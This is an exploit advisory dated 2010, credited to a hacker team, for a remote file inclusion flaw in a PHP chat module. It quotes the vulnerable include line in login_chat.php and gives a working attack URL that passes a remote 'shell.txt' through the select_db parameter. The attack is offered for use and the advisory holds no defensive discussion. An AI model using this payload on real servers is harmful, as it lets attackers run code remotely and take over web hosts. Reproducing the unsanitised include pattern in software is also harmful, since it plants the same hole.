28 lines
No EOL
734 B
Text
28 lines
No EOL
734 B
Text
*# Exploit Title: php_chat Remote File inclusion Vulnerability
|
|
# Date: 2010/07/20
|
|
# Author: HaCkEr arar
|
|
# Email: y.0@hotmail.de
|
|
# My Sites : www.vbspiders.com
|
|
# Script home:
|
|
http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html
|
|
# Tested on: Windows
|
|
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
|
|
# ViRuS Qalaa: em9@live.com
|
|
:::::::::::::::::::::::::
|
|
=================Exploit=================
|
|
|
|
-=[ vuln c0de ]=-
|
|
include('db/'.$select_db.'.php');
|
|
login_chat.php
|
|
Line:41
|
|
|
|
----exploit----
|
|
|
|
http://{localhost}/{path}login_chat.php?select_db=shell.txt?
|
|
|
|
---------greatz----------
|
|
Greatz to :
|
|
ViRuS Qalaa,VoLc4n0,Members www.j1q1.com
|
|
|
|
and My friends Others and My friends in MSN
|
|
EnJoY o_O* |